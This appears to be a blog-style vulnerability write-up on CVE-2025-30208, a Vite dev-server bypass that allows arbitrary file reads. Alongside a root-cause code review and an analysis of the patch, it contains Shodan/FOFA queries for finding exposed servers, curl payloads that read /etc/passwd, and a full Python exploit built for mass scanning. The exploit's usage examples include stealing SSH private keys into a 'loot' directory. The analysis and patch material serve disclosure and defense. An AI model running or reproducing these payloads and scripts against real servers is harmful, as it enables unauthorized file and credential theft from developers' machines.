Overview

Vite

Vite is a widely acclaimed frontend build tool engineered for the demands of modern web development. Conceived by the creator of Vue.js, it has entrenched itself across ecosystems like Vue, React, Svelte, and more.

At its core, Vite leverages native ES modules (ESM)—a JavaScript paradigm that empowers browsers to load modular code directly, eliminating the bundling overhead during development. The result? A streamlined, high-velocity dev experience that leaves legacy tools like Webpack lagging behind.

Risk Impact

From the NVD (National Vulnerability Database):

  • Confidentiality: High (Arbitrary file read)
  • Exploitability: Requires a network-exposed dev server
  • CVSS (GitHub CNA): 5.3 (Medium) CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

The blast radius is bigger than expect. A quick recon on Shodan:

http.html:"/@vite/client"

...or on FOFA, revealing more potential victims:

body="/@vite/client"

Thousands of live targets—exposing dev servers in the wild.

Vulnerability

In versions prior to:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

...the Vite dev server improperly handles file system access restrictions via the @fs prefix. A crafted request using ?raw?? or ?import&raw?? query strings can bypass the file serving allow list (server.fs.allow) and retrieve the contents of arbitrary files outside the intended directories.

The bypass occurs due to:

  • Trailing separators like ? being removed inconsistently across different parsing stages.
  • Query string regexes not accounting for these malformed/trailing patterns, resulting in improper access validation.

Example request of Exploitation:

HTTP
GET /@fs/etc/passwd?raw??

If the dev server is exposed (e.g., with --host or server.host), the above request can return sensitive file contents directly in the browser.

Important: This vulnerability only affects development environments where the Vite dev server is exposed to the network. But don't let the “dev-only” tag fool you. It's far from rare.

Vulnerability Analysis

Root Cause Overview

Vite is a popular open-source project which can be sourced from Github and its official website. It uses a special prefix, @fs, to allow direct access to absolute file paths in development mode:

HTTP
GET /@fs/<absolute/path/to/file>

But to prevent abuse, Vite limits what can be accessed through @fs using a configuration like:

TypeScript
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

So in theory, files outside the allowed directory (like /etc/passwd) should be blocked — even if someone tries using tricks like ../../../.

So, Where's the Flaw? The flaw lies in how Vite parses and checks URLs, especially those with query parameters like ?raw?? or ?raw&url, which looks like:

TypeScript
GET /@fs/etc/passwd?raw??

What's happening:

  1. The path is /@fs/etc/passwd
  2. The query string is raw?? (malformed on purpose)
  3. Internally, Vite tries to strip or normalize trailing characters like ?, and it does this before checking if the file path is allowed.
  4. However, the check fails to correctly parse and match the query string, so the allowlist logic doesn't apply.

This means:

  • The request bypasses the server.fs.allow check.
  • Vite treats it as a valid file access request.
  • And it reads and returns arbitrary files like /etc/passwd, if existed.

Code Review

This vulnerability spans a broad spectrum of Vite versions, impacting numerous development setups. For clarity and precision, we'll dissect the vulnerable code paths in v6.2.2—the latest affected release—as our primary specimen. This version lays bare the flaw's anatomy and offers a clear lens into the root cause.

Filesystem Access via /@fs/ Prefix

The vulnerability lies in the file packages/vite/src/node/server/middlewares/transform.ts which defines two Express-style middleware functions used by the Vite dev server:

  1. cachedTransformMiddleware
    • Responds early with a 304 Not Modified if a browser requests a module it already has cached (via ETag).
    • Helps skip unnecessary transformations for already cached modules.
    • Used before transformMiddleware to speed things up.
  2. [Core] transformMiddleware
    • Detecting browser requests for JS, CSS, HTML, and source maps
    • Handling special query parameters like ?import, ?raw
    • Transforming modules using Vite's plugin pipeline (like handling Vue/TS/etc)
    • Enforcing access rules via ensureServingAccess()

The transform.ts middleware pulls in several internal dependencies—one of particular interest is FS_PREFIX (at line 28 from packages/vite/src/node/server/middlewares/transform.ts):

TypeScript
[...]
import {
  DEP_VERSION_RE,
  ERR_FILE_NOT_FOUND_IN_OPTIMIZED_DEP_DIR,
  ERR_OPTIMIZE_DEPS_PROCESSING_ERROR,
  FS_PREFIX,
} from '../../constants'
[...]

At line 105, we see that FS_PREFIX is hardcoded as /@fs/:

TypeScript
/**
 * Prefix for resolved fs paths, since windows paths may not be valid as URLs.
 */
export const FS_PREFIX = `/@fs/`

It's used to match and handle file-system based paths within Vite's dev server routing logic. This routing prefix is what tells Vite, “This isn't just a regular module—serve it straight from the file system.”

We can trace its usage across the codebase in a local clone of the repo with:

$ git clone https://github.com/vitejs/vite.git

$ cd vite

$ git fetch --tags
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 9 (delta 7), reused 8 (delta 7), pack-reused 0 (from 0)
Unpacking objects: 100% (9/9), 13.69 KiB | 1.24 MiB/s, done.
From https://github.com/vitejs/vite
 + 89bea89e4...65f94bac7 renovate/all-minor-patch -> origin/renovate/all-minor-patch  (forced update)

To create a new branch named vuln-6.2.2 based on the v6.2.2 tag, run the following commands in our local Vite repository:

$ git checkout tags/v6.2.2 -b vuln-6.2.2
Switched to a new branch 'vuln-6.2.2'

$ git log -1
commit b12911edba0cd9edbad170a0940d37bb1e16ef2c (HEAD -> vuln-6.2.2, tag: v6.2.2)
Author: bluwy <[email protected]>
Date:   Fri Mar 14 12:08:35 2025 +0800

    release: v6.2.2

Once we're on v6.2.2,we're ready to look for keyword FS_PREFIX:

$ grep -rnw './packages/vite/src' -e 'FS_PREFIX'

[...]
./packages/vite/src/node/config.ts:26:  FS_PREFIX,
./packages/vite/src/node/config.ts:892:    replacement: path.posix.join(FS_PREFIX, normalizePath(ENV_ENTRY)),
./packages/vite/src/node/config.ts:896:    replacement: path.posix.join(FS_PREFIX, normalizePath(CLIENT_ENTRY)),
./packages/vite/src/node/server/middlewares/transform.ts:28:  FS_PREFIX,
./packages/vite/src/node/server/middlewares/transform.ts:118:          const sourcemapPath = url.startsWith(FS_PREFIX)
./packages/vite/src/node/server/middlewares/static.ts:9:import { FS_PREFIX } from '../../constants'
./packages/vite/src/node/server/middlewares/static.ts:184:    if (req.url!.startsWith(FS_PREFIX)) {
./packages/vite/src/node/server/middlewares/static.ts:199:      let newPathname = pathname.slice(FS_PREFIX.length)
[...]

From ./packages/vite/src/node/server/middlewares/static.ts:182, we uncover a key comment that reveals how Vite handles direct file system access through the special /@fs/ URL prefix:

This comment introduces the mechanism behind Vite's ability to serve files directly from absolute paths during development. Internally, URLs prefixed with /@fs/ are intended to be explicit and controlled access points for resolving files from the developer's file system — including files outside the project root (e.g., linked packages, monorepos, etc.).

The remaining portion of the code in static.ts implements the core access control layer for Vite's file system serving—a crucial gatekeeper meant to enforce which paths are allowed or denied. This should have assured security when it's invoked correctly:

TypeScript
/**
 * Check if the url is allowed to be served, via the `server.fs` config.
 */
export function isFileServingAllowed(
  config: ResolvedConfig,
  url: string,
): boolean
/**
 * @deprecated Use the `isFileServingAllowed(config, url)` signature instead.
 */
export function isFileServingAllowed(
  url: string,
  server: ViteDevServer,
): boolean
export function isFileServingAllowed(
  configOrUrl: ResolvedConfig | string,
  urlOrServer: string | ViteDevServer,
): boolean {
  const config = (
    typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config
  ) as ResolvedConfig
  const url = (
    typeof urlOrServer === 'string' ? urlOrServer : configOrUrl
  ) as string

  if (!config.server.fs.strict) return true
  const filePath = fsPathFromUrl(url)
  return isFileLoadingAllowed(config, filePath)
}

function isUriInFilePath(uri: string, filePath: string) {
  return isSameFileUri(uri, filePath) || isParentDirectory(uri, filePath)
}

export function isFileLoadingAllowed(
  config: ResolvedConfig,
  filePath: string,
): boolean {
  const { fs } = config.server

  if (!fs.strict) return true

  if (config.fsDenyGlob(filePath)) return false

  if (config.safeModulePaths.has(filePath)) return true

  if (fs.allow.some((uri) => isUriInFilePath(uri, filePath))) return true

  return false
}

export function ensureServingAccess(
  url: string,
  server: ViteDevServer,
  res: ServerResponse,
  next: Connect.NextFunction,
): boolean {
  if (isFileServingAllowed(url, server)) {
    return true
  }
  if (isFileReadable(cleanUrl(url))) {
    const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
    const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`

    server.config.logger.error(urlMessage)
    server.config.logger.warnOnce(hintMessage + '\n')
    res.statusCode = 403
    res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
    res.end()
  } else {
    // if the file doesn't exist, we shouldn't restrict this path as it can
    // be an API call. Middlewares would issue a 404 if the file isn't handled
    next()
  }
  return false
}

function renderRestrictedErrorHTML(msg: string): string {
  // to have syntax highlighting and autocompletion in IDE
  const html = String.raw
  return html`
    <body>
      <h1>403 Restricted</h1>
      <p>${escapeHtml(msg).replace(/\n/g, '<br/>')}</p>
      <style>
        body {
          padding: 1em 2em;
        }
      </style>
    </body>
  `
}

This code snippet defines robust filesystem access guards through layered checks such as isFileServingAllowed() and isFileLoadingAllowed(). Followingly, ensureServingAccess() functions as the critical gatekeeper responsible for enforcing the configured server.fs.allow policy:

TypeScript
export function ensureServingAccess(
  url: string,
  server: ViteDevServer,
  res: ServerResponse,
  next: Connect.NextFunction,
): boolean {
  if (isFileServingAllowed(url, server)) {
    return true
  }
  [...]
  return false
}

When invoked properly, this function prevents the dev server from serving unauthorized files outside the allowlist, terminating the request with a 403 error if the file is not explicitly permitted.

The server.fs.allow policy is part of the Vite config system, specifically under server.fs. We can find it in the Vite config schema, defined in packages/vite/src/node/config.ts, looking for function resolveConfig() defined here to dive deep understanding how the policies work. Explicit implementation of our server.fs.allow policy can be found for example in path /packages/vite/src/node/server/index.ts at line 1119, etc.

Overall, the /@fs/ access was intended to be secure, but inconsistent validation between middlewares will still introduce hidden security risks - specifically in transformMiddleware().

TransformMiddleware

The middleware transformMiddleware (defined at line 81 on version v6.2.2 as an example) in packages/vite/src/node/server/middlewares/transform.ts is an Express-compatible middleware factory. It receives the Vite dev server instance and returns a request handler used in development mode:

TypeScript
export function transformMiddleware(
  server: ViteDevServer,
): Connect.NextHandleFunction {

During development, the returned viteTransformMiddleware is executed on every incoming HTTP GET request. As a standard practice, it filters out non-GET requests and known ignorable paths (e.g., /favicon.ico):

TypeScript
    if (req.method !== 'GET' || knownIgnoreList.has(req.url!)) {
      return next()
    }

Next, it performs URL sanitization and decoding before any transformation logic:

TypeScript
    let url: string
    try {
      url = decodeURI(removeTimestampQuery(req.url!)).replace(
        NULL_BYTE_PLACEHOLDER,
        '\0',
      )
    } catch (e) {
      return next(e)
    }

    const withoutQuery = cleanUrl(url)

Following that, the middleware performs routine handling for source maps (.js.map) and optimized dependency requests—operations unrelated to the exploit vector. We'll skip those and zero in on the real threat.

Here's the snippet that holds the core of the vulnerability:

TypeScript
    if (
      (rawRE.test(url) || urlRE.test(url)) &&
      !ensureServingAccess(url, server, res, next)
    ) {
      return
    }

This is the vulnerable part.

  • rawRE and urlRE are regular expressions matching special import variants like ?raw, ?url, or ?import.
  • If the URL matches, Vite enforces access control via ensureServingAccess() (introduced in static.ts from previous section), which checks if the file is allowed by server.fs.allow.

To dive deeper into how rawRE and urlRE operate, we can search for their definitions in the local vulnerable repo (vuln-6.2.2 branch) like so:

$ grep -rnw './packages/vite/src' -e 'rawRE'
[...]
./packages/vite/src/node/utils.ts:354:export const rawRE = /(\?|&)raw(?:&|$)/
./packages/vite/src/node/utils.ts:359:  return url.replace(rawRE, '$1').replace(trailingSeparatorRE, '')

$grep -rnw './packages/vite/src' -e 'urlRE'
[...]
./packages/vite/src/node/utils.ts:353:export const urlRE = /(\?|&)url(?:&|$)/
./packages/vite/src/node/utils.ts:356:  return url.replace(urlRE, '$1').replace(trailingSeparatorRE, '')

Exactly—the real magic (and the oversight) begins in /packages/vite/src/node/utils.ts, starting at line 353:

urlRE and rawRE both serve the same logic. This regex is used to detect the presence of raw (or url) in the query string of a URL—such as ?raw, &raw, or &raw&....

For instance, the /(\?|&)raw(?:&|$)/ pattern:

  • /.../ — standard JavaScript regex delimiters.
  • (\?|&)capturing group that matches:
    • Either a literal ? (beginning of query string),
    • Or an & (a later query param).
  • raw — the exact keyword to match.
  • (?:&|$) — a non-capturing group that matches:
    • Either a trailing ampersand (&) — meaning more query parameters follow,
    • Or the end of the string ($).

Here are some strings that this regex will match:

Input URLMatched Part
/path?raw?raw
/path?raw&other=value?raw&
/path?file.js&raw&raw
/path?file.js&raw&other&raw&
/path?x=1&raw&raw
/path?x=1&raw=&raw

Here's what won't match:

Input URLWhy it fails
/path?rawfile.jsraw is not isolated
/path?file=rawraw is a value, not a key
/path?rawxnot terminated with & or end-of-string
/path?x=1&rawish=1raw is part of a longer key

The urlRE regex work under the same logic.

There are numerous mismatching patterns that deviate from standard URL formatting—particularly when an attacker crafts ambiguous or malformed queries, which we'll dissect in the next section. In such scenarios, the regex may fail to match as expected, quietly bypassing the vulnerable conditional logic highlighted earlier and allowing the request to slip further into the exported middleware function transformMiddleware().

Exploit Vulnerability

We can exploit this by crafting malformed query parameters (e.g., ?raw??, ?raw&url), bypassing regex checks and reaching internal file paths that should be protected by the fs.allow policy.

A recap on the vulnerable code from transformMiddleware defined in transform.ts:

TypeScript
if (
  (rawRE.test(url) || urlRE.test(url)) &&
  !ensureServingAccess(url, server, res, next)
) {
  return
}

[...]

This if statement is saying:

If the request matches either rawRE or urlRE, and ensureServingAccess() returns false, then stop handling this request (return).

So:

  1. rawRE.test(url) || urlRE.test(url)
    • This part is a gatekeeper.
    • It decides whether to apply the ensureServingAccess() check at all.
    • If neither regex matches, ensureServingAccess() is not even called.
  2. !ensureServingAccess(...)
    • This function enforces the fs.allow policy.
    • If it returns false, access is denied, and we return early (blocking the request).

Now imagine this request:

HTTP
GET /@fs/etc/passwd?raw??

Or:

HTTP
GET /@fs/etc/passwd?raw&url

As a result:

  • rawRE.test(url) returns false, because the regex is strict ((\?|&)raw(?:&|$)).
  • urlRE.test(url) also returns false.
  • So the entire condition fails — the whole if (...) is skipped.
  • ensureServingAccess() is never called!

Now the request flows deeper into the middleware chain—unvalidated—and gains direct access to paths like /@fs/etc/passwd or other sensitive locations on the server's filesystem.

PoC

Now that we've dissected how malformed query strings can slip past the ensureServingAccess() check, it's time to go hands-on. Let's spin up a Docker environment to isolate, test, and analyze the vulnerability in Vite v6.2.2—the last known version affected by CVE-2025-30208.

Reproduction

Here, I will set up a Docker environment to test the Vite v6.2.2 PoC for CVE-2025-30208.

First, let's create a Dockerfile:

Dockerfile
FROM node:20-slim

# Install git, curl, and pnpm
RUN apt-get update && apt-get install -y git curl && \
    corepack enable && corepack prepare [email protected] --activate && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Clone the target version of Vite
RUN git clone --branch v6.2.2 https://github.com/vitejs/vite.git .

# Install dependencies with pnpm
RUN pnpm install --frozen-lockfile

# Default command to start the dev server
CMD ["pnpm", "dev"]

Create a docker-compose.yml:

YAML
version: '3'
services:
  vite-dev:
    build: .
    ports:
      - "5173:5173"
    volumes:
      - .:/app
    stdin_open: true
    tty: true

Build the environment:

Bash
docker-compose build

Fully built container for PoC:

We can first verify the Vite version inside the Docker image (cve-2025-30208-vite-dev):

Bash
# Verify Vite installed
docker run --rm cve-2025-30208-vite-dev node -p "require('./packages/vite/package.json').name"

# Verify Vite version
docker run --rm cve-2025-30208-vite-dev node -p "require('./packages/vite/package.json').version"

Expected outcome:

To test CVE-2025-30208 (aka the @fs/ path traversal issue) inside this Docker-based Vite source environment, first run the development container interactively, exposing port 5173:

Bash
docker run -it --rm -p 5173:5173 cve-2025-30208-vite-dev /bin/bash

Inside the container, set up Vite's full development environment. Navigate into the playground, and look for some examples under /app/playground to launch a real Vite development server. For testing the @fs path traversal issue in CVE-2025-30208, the best one to use is /app/playground/fs-serve:

Bash
cd /app/playground/fs-serve<br>pnpm install

When successfully installed:

Start the dev server:

Bash
pnpm dev --host

This will bind Vite to 0.0.0.0, making it accessible from outside the container via localhost:5173:

Now we can test the Path Traversal exploit via (with or without ../):

Bash
curl 'http://localhost:5173/@fs/../../../../../../etc/passwd?raw??'

# or
curl 'http://localhost:5173/@fs/../../../../../../etc/passwd?raw&url

Pwned:

To assert the result and confirm the exploit, we can compare the actual contents of the /etc/passwd file inside the Docker container with the response from the vulnerable Vite server:

PoC Script

The @fs Prefix works with absolute path, so our malformed request can be anything that bypass the regex logic to make it false but parsed:

http://<URL>/@fs/<abs_path_to_file>?raw??
http://<URL>/@fs/<abs_path_to_file>?raw&url
http://<URL>/@fs/<abs_path_to_file>?import&raw??

[...]

A PoC script to exploit CVE-2025-30208 for single or bulk targets:

Python
import requests
import argparse
import urllib3
import concurrent.futures
import re
import os
from urllib.parse import urljoin

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Common LFI paths and indicators for verification
LINUX_PATHS = [
    ("/etc/passwd", "root:/bin/bash"),
    ("/etc/hosts", "127.0.0.1"),
]
WINDOWS_PATHS = [
    ("C:/windows/win.ini", "[fonts]"),
    ("C:/boot.ini", "[boot loader]"),
]


def sanitize_filename(text):
    """Sanitize string to be used as filename."""
    safe = re.sub(r'[^\w\-]', '_', text)
    return re.sub(r'_+', '_', safe).strip('_')


def log_result(content, url, output_dir):
    """Write exploitation result to a file."""
    filename = sanitize_filename(url)
    os.makedirs(output_dir, exist_ok=True)
    with open(os.path.join(output_dir, f"{filename}.txt"), "w") as f:
        f.write(f"[SUCCESS] {url}\n")
        f.write(content)
    print(f"[+] Saved to {output_dir}/{filename}.txt")

    
def fetch_url(url, proxy=None, timeout=5):
    """Fetch a URL with optional proxy."""
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        return requests.get(url, timeout=timeout, verify=False, proxies=proxies, allow_redirects=False)
    except requests.RequestException as e:
        return e

    
def normalize_bypass_query(query: str) -> str:
    """Ensure the query string starts with a single '?'."""
    query = query.lstrip('?')  # remove all leading ?
    return '?' + query

    
def build_payload_path(fs_path, bypass_query):
    """Construct the /@fs path for LFI."""
    fs_path = fs_path.strip()
    if not fs_path.startswith("/"):
        fs_path = "/" + fs_path
    query = normalize_bypass_query(bypass_query)
    return f"/@fs{fs_path}{query}"


def verify_vulnerability(base_url, bypass_query, proxy=None):
    """Try known OS files to verify if @fs LFI is exploitable."""
    candidates = LINUX_PATHS + WINDOWS_PATHS
    for path, indicator in candidates:
        payload = build_payload_path(path, bypass_query)
        for scheme in ["http://", "https://"]:
            full_url = urljoin(scheme + base_url.rstrip('/') + '/', payload.lstrip('/'))
            resp = fetch_url(full_url, proxy)

            if isinstance(resp, Exception):
                continue
            if resp.status_code == 200 and indicator in resp.text:
                print(f"[+] Verified @fs LFI on {full_url}")
                return True
    return False


def exploit_target(base_url, fs_path, bypass_query, proxy=None, output_dir="results"):
    """Run actual payload exploit."""
    payload = build_payload_path(fs_path, bypass_query)
    for scheme in ["http://", "https://"]:
        full_url = urljoin(scheme + base_url.rstrip('/') + '/', payload.lstrip('/'))
        resp = fetch_url(full_url, proxy)

        if isinstance(resp, Exception):
            continue
        if resp.status_code == 200:
            print(f"[+] Exploited: {full_url}")
            log_result(resp.text, full_url, output_dir)
            return full_url
        else:
            print(f"[FAIL] {full_url}{resp.status_code}")
    return None


def handle_single_target(base_url, fs_path, bypass_query, proxy=None, output_dir="results"):
    """Verify then exploit single target."""
    print(f"[*] Verifying {base_url}")
    if verify_vulnerability(base_url, bypass_query, proxy):
        print(f"[*] Exploiting {base_url} with {fs_path}")
        exploit_target(base_url, fs_path, bypass_query, proxy, output_dir)
    else:
        print(f"[-] Not vulnerable: {base_url}")

        
def run_batch(file_path, fs_path, bypass_query, proxy=None, output_dir="results", max_workers=10):
    """Verify and exploit batch targets."""
    with open(file_path, "r") as f:
        targets = [line.strip() for line in f if line.strip()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {
            executor.submit(handle_single_target, target, fs_path, bypass_query, proxy, output_dir): target
            for target in targets
        }
        for future in concurrent.futures.as_completed(futures):
            _ = future.result()

            
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-30208 PoC for Vite @fs LFI")
    parser.add_argument("-f", "--file", help="File with targets (one per line)")
    parser.add_argument("-u", "--url", help="Single target (e.g., https://example.com:5173)")
    parser.add_argument("-p", "--path", default="/etc/passwd", help="Path to try read (default: /etc/passwd)")
    parser.add_argument("-b", "--bypass", default="?raw??", help="Bypass query (?raw??, ?import&raw??, etc.)")
    parser.add_argument("--proxy", help="Proxy like http://127.0.0.1:8080")
    parser.add_argument("-o", "--output", default="results", help="Directory to save result files")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
    args = parser.parse_args()
    
    if args.url:
        handle_single_target(args.url, args.path, args.bypass, args.proxy, args.output)
    elif args.file:
        run_batch(args.file, args.path, args.bypass, args.proxy, args.output, args.threads)
    else:
        parser.print_help()

This can be downloaded from my Github repo.

PoC Usage

Basic usage

Bash
python3 poc.py [OPTIONS]

Options

Flag / OptionDescription
-u, --urlSingle target URL (e.g. example.com:5173)
-f, --fileFile with list of targets (one URL per line)
-p, --pathFilesystem path to read (default: /etc/passwd)
-b, --bypassQuery string to bypass route validation (default: ?raw??)
--proxyProxy URL (e.g. http://127.0.0.1:8080)
-o, --outputOutput directory for saving exploitation results (default: results)
-t, --threadsNumber of threads for batch mode (default: 10)
-h, --helpShow help message and exit

Examples

Single target exploitation:

Bash
python3 cve-2025-30208.py -u example.com:5173

Single target with custom LFI path to leak the file we want:

Bash
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Batch exploitation with multiple targets:

Bash
python3 cve-2025-30208.py -f targets.txt

Custom bypass query:

Bash
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Using a proxy (e.g. Burp Suite):

Bash
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Custom output directory:

Bash
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Increase thread count in batch mode:

Bash
python3 cve-2025-30208.py -f targets.txt -t 50

Patch

Diff

The vulnerability was addressed in multiple Vite release lines through targeted commits. The issue is fixed in the following versions:

Each patch resolves the directory traversal bypass by tightening the handling of query strings and improving consistency in path sanitization and access checks.

Here, we will walk through the patch in commit f234b57 for Vite v6.2.3, since we have done code review and PoC on the newest vulnerable version v6.2.2.

We can first clone the repository as a local Git repo and inspect the patch details:

Bash
git clone https://github.com/vitejs/vite.git
cd vite
git show f234b5744d8b74c95535a7b82cc88ed2144263c1 > ../patch.diff

Then retrieve the full patch diff from commit f234b57:

Diff
commit f234b5744d8b74c95535a7b82cc88ed2144263c1
Author: 翠 / green <[email protected]>
Date:   Mon Mar 24 18:25:11 2025 +0900

    fix: fs raw query with query separators (#19702)

diff --git a/packages/vite/src/node/server/middlewares/transform.ts b/packages/vite/src/node/server/middlewares/transform.ts
index 22f06cfba..8515c88db 100644
--- a/packages/vite/src/node/server/middlewares/transform.ts
+++ b/packages/vite/src/node/server/middlewares/transform.ts
@@ -43,6 +43,7 @@ import { ensureServingAccess } from './static'
 const debugCache = createDebugger('vite:cache')
 
 const knownIgnoreList = new Set(['/', '/favicon.ico'])
+const trailingQuerySeparatorsRE = /[?&]+$/
 
 /**
  * A middleware that short-circuits the middleware chain to serve cached transformed modules
@@ -169,9 +170,19 @@ export function transformMiddleware(
         warnAboutExplicitPublicPathInUrl(url)
       }
 
+      const urlWithoutTrailingQuerySeparators = url.replace(
+        trailingQuerySeparatorsRE,
+        '',
+      )
       if (
-        (rawRE.test(url) || urlRE.test(url)) &&
-        !ensureServingAccess(url, server, res, next)
+        (rawRE.test(urlWithoutTrailingQuerySeparators) ||
+          urlRE.test(urlWithoutTrailingQuerySeparators)) &&
+        !ensureServingAccess(
+          urlWithoutTrailingQuerySeparators,
+          server,
+          res,
+          next,
+        )
       ) {
         return
       }
diff --git a/playground/fs-serve/__tests__/fs-serve.spec.ts b/playground/fs-serve/__tests__/fs-serve.spec.ts
index deeb5153b..4f55df0fa 100644
--- a/playground/fs-serve/__tests__/fs-serve.spec.ts
+++ b/playground/fs-serve/__tests__/fs-serve.spec.ts
@@ -96,6 +96,20 @@ describe.runIf(isServe)('main', () => {
     expect(await page.textContent('.unsafe-fs-fetch-raw-status')).toBe('403')
   })
 
+  test('unsafe fs fetch query 1', async () => {
+    expect(await page.textContent('.unsafe-fs-fetch-raw-query1')).toBe('')
+    expect(await page.textContent('.unsafe-fs-fetch-raw-query1-status')).toBe(
+      '403',
+    )
+  })
+
+  test('unsafe fs fetch query 2', async () => {
+    expect(await page.textContent('.unsafe-fs-fetch-raw-query2')).toBe('')
+    expect(await page.textContent('.unsafe-fs-fetch-raw-query2-status')).toBe(
+      '403',
+    )
+  })
+
   test('unsafe fs fetch with special characters (#8498)', async () => {
     expect(await page.textContent('.unsafe-fs-fetch-8498')).toBe('')
     expect(await page.textContent('.unsafe-fs-fetch-8498-status')).toBe('404')
diff --git a/playground/fs-serve/root/src/index.html b/playground/fs-serve/root/src/index.html
index a0c98e32f..26375949c 100644
--- a/playground/fs-serve/root/src/index.html
+++ b/playground/fs-serve/root/src/index.html
@@ -37,6 +37,10 @@
 <pre class="unsafe-fs-fetch"></pre>
 <pre class="unsafe-fs-fetch-raw-status"></pre>
 <pre class="unsafe-fs-fetch-raw"></pre>
+<pre class="unsafe-fs-fetch-raw-query1-status"></pre>
+<pre class="unsafe-fs-fetch-raw-query1"></pre>
+<pre class="unsafe-fs-fetch-raw-query2-status"></pre>
+<pre class="unsafe-fs-fetch-raw-query2"></pre>
 <pre class="unsafe-fs-fetch-8498-status"></pre>
 <pre class="unsafe-fs-fetch-8498"></pre>
 <pre class="unsafe-fs-fetch-8498-2-status"></pre>
@@ -209,6 +213,40 @@
       console.error(e)
     })
 
+  fetch(
+    joinUrlSegments(
+      base,
+      joinUrlSegments('/@fs/', ROOT) + '/unsafe.json?import&raw??',
+    ),
+  )
+    .then((r) => {
+      text('.unsafe-fs-fetch-raw-query1-status', r.status)
+      return r.json()
+    })
+    .then((data) => {
+      text('.unsafe-fs-fetch-raw-query1', JSON.stringify(data))
+    })
+    .catch((e) => {
+      console.error(e)
+    })
+
+  fetch(
+    joinUrlSegments(
+      base,
+      joinUrlSegments('/@fs/', ROOT) + '/unsafe.json?import&raw?&',
+    ),
+  )
+    .then((r) => {
+      text('.unsafe-fs-fetch-raw-query2-status', r.status)
+      return r.json()
+    })
+    .then((data) => {
+      text('.unsafe-fs-fetch-raw-query2', JSON.stringify(data))
+    })
+    .catch((e) => {
+      console.error(e)
+    })
+
   // outside root with special characters #8498
   fetch(
     joinUrlSegments(

Patch Analysis

Main Fix in transformMiddleware():

Diff
+const trailingQuerySeparatorsRE = /[?&]+$/
[...]
+      const urlWithoutTrailingQuerySeparators = url.replace(
+        trailingQuerySeparatorsRE,
+        '',
+      )

This introduces a new regular expression that strips all trailing ?, &, or combinations of them before applying the regex-based filters and ensureServingAccess() logic.

Then the normalized urlWithoutTrailingQuerySeparators, which is the sanitized version of the request URL, is first normalized by stripping any trailing ?, &, or combinations like ??, ?& beforehand:

Diff
       if (
-        (rawRE.test(url) || urlRE.test(url)) &&
-        !ensureServingAccess(url, server, res, next)
+        (rawRE.test(urlWithoutTrailingQuerySeparators) ||
+          urlRE.test(urlWithoutTrailingQuerySeparators)) &&
+        !ensureServingAccess(
+          urlWithoutTrailingQuerySeparators,
+          server,
+          res,
+          next,
+        )

This ensures:

  • All variants like ?raw??, ?import&raw?&, ?import?, etc., are normalized before security validation.
  • Prevents query separator-based bypass of access control logic.
  • Closes the loophole exploited by CVE-2025-30208.

The patch also includes two new test cases in fs-serve.spec.ts:

Diff
+ test('unsafe fs fetch query 1', ...)
+ test('unsafe fs fetch query 2', ...)

These simulate malicious requests using:

HTTP
GET /unsafe.json?import&raw??
GET /unsafe.json?import&raw?&

And assert that the server correctly returns 403 Forbidden.


if (B1N4RY) return 1; else return (HACK3R = 0xdeadc0de);